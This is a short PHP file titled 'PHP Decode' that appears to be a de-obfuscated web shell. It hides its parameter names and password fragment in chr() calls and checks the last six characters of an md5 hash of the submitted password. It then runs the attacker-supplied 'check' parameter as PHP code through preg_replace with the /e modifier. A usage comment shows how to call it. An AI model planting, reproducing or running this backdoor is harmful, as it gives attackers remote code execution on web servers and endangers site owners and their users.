PHP Decode

<?php 
	//usage: shell.php?pass=c451cc&check=phpinfo() 
	# return 32md5 back 6 
	function getMd5($md5 = null) { 
		$key = substr(md5($md5),26); 
		return $key; 
		} 
		$array = array( 
			chr(112).chr(97).chr(115).chr(115), //pass 
			chr(99).chr(104).chr(101).chr(99).chr(107), // check 
			chr(99).chr(52).chr(53).chr(49).chr(99).chr(99)	// c451cc 
		); 
		if ( isset($_POST) ){ 
			$request = &$_POST; 
		} 
 
		elseif ( isset($_REQUEST) )  $request = &$_REQUEST; 
 
		if ( isset($request[$array[0]]) && isset($request[$array[1]]) ) { 
			if ( getMd5($request[$array[0]]) == $array[2] ) {  //md5(pass) == c451cc 
				$token = preg_replace ( 
				chr(47) . $array[2] . chr(47) . chr(101),  //  /c451cc/e 
				$request[$array[1]], 
				$array[2] 
			); 
		} 
	} 
?>